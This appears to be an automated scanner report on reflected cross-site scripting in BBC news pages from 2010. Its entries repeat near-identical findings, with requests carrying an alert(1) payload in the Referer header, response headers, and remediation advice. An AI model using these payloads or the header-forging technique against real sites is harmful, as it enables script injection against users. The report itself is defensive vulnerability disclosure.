HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:29 GMT Keep-Alive: timeout=10, max=695 Expires: Thu, 16 Dec 2010 19:28:29 GMT Connection: close Content-Length: 70246
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9736f'-alert(1)-'615e4470eb5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12006835 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=9736f'-alert(1)-'615e4470eb5
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:38 GMT Keep-Alive: timeout=10, max=576 Expires: Thu, 16 Dec 2010 19:28:38 GMT Connection: close Content-Length: 61493
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2a0c3'-alert(1)-'430ae6fef43 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12007016 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=2a0c3'-alert(1)-'430ae6fef43
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:31 GMT Keep-Alive: timeout=10, max=727 Expires: Thu, 16 Dec 2010 19:28:31 GMT Connection: close Content-Length: 65700
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c33f3'-alert(1)-'43e54c12d15 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12008023 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=c33f3'-alert(1)-'43e54c12d15
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:28 GMT Keep-Alive: timeout=10, max=798 Expires: Thu, 16 Dec 2010 19:28:28 GMT Connection: close Content-Length: 72865
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 47a95'-alert(1)-'ada5cd206d2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business-12013062 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=47a95'-alert(1)-'ada5cd206d2
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:33 GMT Keep-Alive: timeout=10, max=599 Expires: Thu, 16 Dec 2010 19:28:33 GMT Connection: close Content-Length: 64975
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b69b'-alert(1)-'f78dd7f4be6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/business/ HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=6b69b'-alert(1)-'f78dd7f4be6
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:43:50 GMT Keep-Alive: timeout=10, max=514 Expires: Thu, 16 Dec 2010 19:43:50 GMT Connection: close Content-Length: 73951
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c2a6c'-alert(1)-'0f45fcf8309 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/entertainment-arts-12006516 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=c2a6c'-alert(1)-'0f45fcf8309
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:15 GMT Keep-Alive: timeout=10, max=778 Expires: Thu, 16 Dec 2010 19:28:15 GMT Connection: close Content-Length: 54118
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ab406'-alert(1)-'5475c0fc2f4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/entertainment-arts-12008225 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=ab406'-alert(1)-'5475c0fc2f4
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:14 GMT Keep-Alive: timeout=10, max=682 Expires: Thu, 16 Dec 2010 19:28:14 GMT Connection: close Content-Length: 56514
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6323'-alert(1)-'85adb999245 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/entertainment-arts-12008226 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=e6323'-alert(1)-'85adb999245
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:06 GMT Keep-Alive: timeout=10, max=625 Expires: Thu, 16 Dec 2010 19:28:06 GMT Connection: close Content-Length: 54974
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload de543'-alert(1)-'cf04d5cf9cd was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science-environment-11932069 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=de543'-alert(1)-'cf04d5cf9cd
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:15 GMT Keep-Alive: timeout=10, max=352 Expires: Thu, 16 Dec 2010 19:28:15 GMT Connection: close Content-Length: 61721
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e3ad'-alert(1)-'9fdc17d30d4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science-environment-11938904 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=8e3ad'-alert(1)-'9fdc17d30d4
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:15 GMT Keep-Alive: timeout=10, max=800 Expires: Thu, 16 Dec 2010 19:28:15 GMT Connection: close Content-Length: 64949
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8188'-alert(1)-'73e816f6892 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science-environment-12007965 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=c8188'-alert(1)-'73e816f6892
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:13 GMT Keep-Alive: timeout=10, max=708 Expires: Thu, 16 Dec 2010 19:28:13 GMT Connection: close Content-Length: 59702
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6db2a'-alert(1)-'1da952b160c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science_and_environment/ HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=6db2a'-alert(1)-'1da952b160c
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:44:06 GMT Keep-Alive: timeout=10, max=720 Expires: Thu, 16 Dec 2010 19:44:06 GMT Connection: close Content-Length: 65603
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff7d8'-alert(1)-'b695f539b62 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/technology/ HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=ff7d8'-alert(1)-'b695f539b62
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:44:05 GMT Keep-Alive: timeout=10, max=782 Expires: Thu, 16 Dec 2010 19:44:05 GMT Connection: close Content-Length: 60167
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 66aae'-alert(1)-'262f82366aa was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-12005930 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=66aae'-alert(1)-'262f82366aa
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:49 GMT Keep-Alive: timeout=10, max=763 Expires: Thu, 16 Dec 2010 19:27:49 GMT Connection: close Content-Length: 70995
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e513'-alert(1)-'a5bad9ef133 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-12006061 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=7e513'-alert(1)-'a5bad9ef133
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:10 GMT Keep-Alive: timeout=10, max=673 Expires: Thu, 16 Dec 2010 19:28:10 GMT Connection: close Content-Length: 58543
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15d5d'-alert(1)-'ae028882e7e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-12006670 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=15d5d'-alert(1)-'ae028882e7e
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:14 GMT Keep-Alive: timeout=10, max=760 Expires: Thu, 16 Dec 2010 19:28:14 GMT Connection: close Content-Length: 81587
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload be77c'-alert(1)-'2ce188aab14 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
